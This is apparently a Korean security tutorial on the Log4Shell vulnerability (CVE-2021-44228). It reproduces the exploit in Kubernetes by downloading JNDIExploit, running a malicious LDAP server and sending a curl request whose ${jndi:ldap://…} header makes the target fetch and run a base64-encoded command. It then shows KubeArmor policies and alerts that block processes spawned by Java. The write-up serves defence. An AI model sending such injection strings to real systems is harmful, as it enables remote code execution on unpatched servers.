Apache Log4j 제로데이 (일명 Log4Shell, CVE-2021-44228)

소개
k8s 환경에서 문제 재현
- 취약점이 있는 k8s 환경 설정
가능한 해결 방안
- KubeArmor 보안 정책
- Cilium 네트워크 정책
  - RMI 포트 접근 제한
향후 Zero-Day 방지
- 제로 트러스트 태세는 log4j 취약점 악용을 어떻게 막을 수 있을까?
- KubeArmor와 제로 트러스트
크레딧

소개

2021년 12월 9일, Apache Java 로깅 패키지 log4j에 영향을 미치는 CVE-2021-44228로 식별된 새로운 취약점이 세상에 알려졌습니다. 이 취약점은 심각도 점수 10.0 (가장 심각한 등급)을 받았으며, 이 log4j 버전을 사용하는 소프트웨어와 상호작용하는 호스트에서 간단한 원격 코드 실행을 허용합니다. "Log4Shell"이 이 공격에 붙여진 이름입니다.

현재 log4j 2.15.0rc2 버전이 출시되어 이 취약점을 패치했습니다. 그러나 이 취약점의 엄청난 위험성은 로깅 패키지가 얼마나 보편적으로 사용되는지에 기인합니다. 수백만 개의 애플리케이션과 소프트웨어 공급업체가 자체 코드에서 이 패키지를 종속성으로 사용합니다.

가장 이른 탐지: 2021-12-01 04:36:50 UTC

영향을 받는 버전:

Log4j <= 2.14.1
Apache: 2.0 <= Apache log4j <= 2.14.1

영향을 받는 대상은?

영향: 부모 프로세스를 실행하는 사용자로서 임의 코드 실행 (공개 인터넷에서 코드를 가져오거나, 시스템에 이미 존재하는 lolbin을 사용하거나, 공유 비밀 또는 환경 변수를 가져와 공격자에게 반환)
대상: Java를 실행하고 log4j 프레임워크를 사용하여 로깅하는 서버 및 클라이언트 - 주로 서버 측 우려 사항이지만, 취약한 모든 엔드포인트가 대상 또는 피벗 지점이 될 수 있습니다.
하위 프로젝트: 반증이 없는 한 log4j를 포함하는 모든 것(Elasticsearch, Apache Struts / Solr / Druid / Flink 등 포함)이 완화가 필요한 방식으로 영향을 받는다고 가정합니다.
영향을 받는 버전: log4j 2.x 확인됨 - log4j 1.x는 간접적으로만 영향 (이전 정보 공개 취약점) (일부 구성에서)
어플라이언스: Java 서버 구성 요소를 사용할 수 있지만 인증되지 않은 취약점 스캐닝으로 탐지되지 않는 어플라이언스를 잊지 마십시오.
로그 전달: 로깅 인프라는 종종 "북바운드"(내 로그를 누군가에게 보냄) 및 "사우스바운드"(누군가로부터 로그를 수신) 전달/릴레이 토폴로지를 많이 갖습니다. 공격을 위해 이들을 함께 연결하는 것도 고려해야 합니다.
클라우드: 여러 대규모 제공업체도 영향을 받음 (CVE-2021-44228에 취약한 소프트웨어 및 서비스의 커뮤니티 큐레이션 목록은 이 GitHub 저장소에서 확인 가능).

k8s 환경에서 문제 재현

log4j 공격 트리

취약점이 있는 k8s 환경 설정

1단계: Kubernetes에서 Log4j에 취약한 관련 서비스가 포함된 Pod 배포

git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml

배포가 실행 중인지 확인하고 외부 IP를 얻으려면 다음 명령을 입력하십시오:

kubectl get po,svc

다음과 유사한 출력이 표시되어야 합니다

NAME                              READY   STATUS    RESTARTS   AGE
pod/log4j-demo-5d7c84d8b9-vs8ck   1/1     Running   0          1h30m

NAME                 TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
service/kubernetes   ClusterIP      10.112.0.1     <none>          443/TCP        4h44m
service/log4j-svc    LoadBalancer   10.112.8.158   35.241.165.36   80:30202/TCP   1h30m

저희는 default 네임스페이스에 취약한 Log4Shell 샘플 애플리케이션을 배포했습니다.

2단계: 악성 LDAP 서버 다운로드

wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar

3단계: PC 또는 Cloud VM에서 수신 트래픽을 위한 LDAP 서버 시작

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888

개인 IP는 hostname -I로 조회할 수 있습니다.
방화벽이 포트 1389 및 8888에 대해 트래픽을 허용하는지 확인하십시오.

4단계: cURL 명령을 사용한 익스플로잇

# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

여기서 첫 번째 IP는 취약한 샘플 앱이 실행 중인 k8s 외부 IP(1단계)입니다.
두 번째 IP는 악성 LDAP 서버의 외부 IP(2단계)입니다.

5단계: /tmp/pwned 파일 생성 확인

kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp

log4j-demo-5d7c84d8b9-vs8ck를 1단계 출력의 Pod 이름으로 바꾸십시오.
/tmp 디렉토리 안에 pwned라는 파일이 생성된 것을 확인할 수 있습니다.

가능한 해결 방안

KubeArmor 보안 정책

KubeArmor는 보안/DevSecOps 팀이 애플리케이션/시스템 기반 제어(프로세스 생성 제한, 파일 시스템 접근 제한, Pod 기능 제한 등)를 사용하여 워크로드를 보호할 수 있도록 도와주는 런타임 보안 플랫폼입니다. KubeArmor는 가시성 모드를 제공하여 애플리케이션/보안 팀이 Pod 내부에서 무슨 일이 일어나는지(예: 어떤 프로세스가 생성되었는지, 어떤 파일 접근이 시도되었는지 등)를 파악할 수 있게 합니다. KubeArmor의 가장 큰 장점은 사용자가 이러한 시스템 작업을 방지/차단/거부하는 정책을 제출할 수 있다는 점입니다.

일반적으로 공격자는 내부 데이터를 유출하거나, 암호화폐 채굴을 하거나, 내부 앱을 사용 불가능하게 만들기 위해 침투합니다. 이러한 모든 경우에 공격자는 악의적인 의도를 실행할 수 있는 임의의 프로그램을 실행해야 합니다. Log4j 취약점은 공격자가 내부 네트워크 내에 바이너리를 배치할 수 있게 합니다. 그러나 JVM이 프로세스를 생성하지 못하도록 가드레일을 설치할 수 있습니다.

JVM/Java에서 exec을 허용하지 않음

다음은 Java 애플리케이션의 하위 프로세스로서 Pod에서 프로세스가 포크되는 것을 거부/방지할 수 있는 KubeArmor 정책입니다.

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: do-not-allow-exec-from-java
spec:
  severity: high
  message: "disallow execing from java process"
  selector:
    matchLabels:
      app: log4j2
  process:
    matchPaths:
    - path: * #disaallow all paths from the java process
      fromSource:
      - path: /opt/openjdk-16/bin/java
  action:
    Block

여기서 액션은 Block입니다. 또한 fromSource 조건에 주목하십시오. 이는 주어진 프로세스로부터의 exec만 허용되지 않도록 지정합니다. 본질적으로 Java/JVM의 하위 프로세스만 exec가 거부됩니다. 다른 도구와 달리 KubeArmor는 런타임에 시스템 작업을 Block할 수 있습니다.

기본 거부 기반 규칙

많은 경우 Java/JVM이 여전히 생성해야 하는 기존 프로세스가 있을 수 있습니다. 이러한 경우 해당 프로세스를 Allow하는 것이 가장 좋습니다. 이러한 프로세스를 허용함으로써 KubeArmor는 기본적으로 해당 부모 프로세스의 다른 모든 프로세스의 exec를 거부합니다:

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: do-not-allow-exec-from-java
spec:
  severity: high
  message: "disallow execing from java process"
  selector:
    matchLabels:
      app: log4j2
  process:
    matchPaths:
    - path: /usr/local/bin/myapp
      fromSource:
      - path: /opt/openjdk-16/bin/java
    - path: /usr/local/bin/log4j
      fromSource:
      - path: /opt/openjdk-16/bin/java
  action:
    Allow

이 예제에서 Java 프로세스가 myapp 및 log4j 프로세스를 생성하는 것은 여전히 허용되지만, 다른 모든 프로세스는 거부됩니다.

KubeArmor 가시성/관측 가능성 (Pod 내부)

위의 정책을 보면 자연스럽게 "허용/거부할 프로세스 사양을 어떻게 알 수 있을까?"라는 의문이 듭니다. 이것이 KubeArmor의 가시성 모드가 필요한 이유입니다:

== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed

JVM/Java 프로세스에서 생성된 프로세스를 차단하면 execve가 거부될 때 다음과 같은 경고가 발생합니다 (KubeArmor는 적용 엔진입니다):

== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed

Cilium 네트워크 정책

Cilium 팀은 이미 네트워크 정책을 사용하여 k8s 환경에서 log4j의 익스플로잇을 방지하기 위한 분석을 발표했습니다. 본질적으로 방지 정책은 DNS에 대해 최소 권한 정책을 적용하여 해당 영역 외부의 모든 것을 금지하는 것을 목표로 합니다.

이러한 맥락에서 보안 팀이 직면할 수 있는 한 가지 과제는 Pod가 연결하는 모든 가능한 FQDN을 파악하는 것입니다. Cilium은 풍부한 네트워크 가시성을 제공하므로 Pod가 액세스하는 FQDN의 전체 목록을 도출할 수 있습니다.

log4j-CVE-2021-44228

인기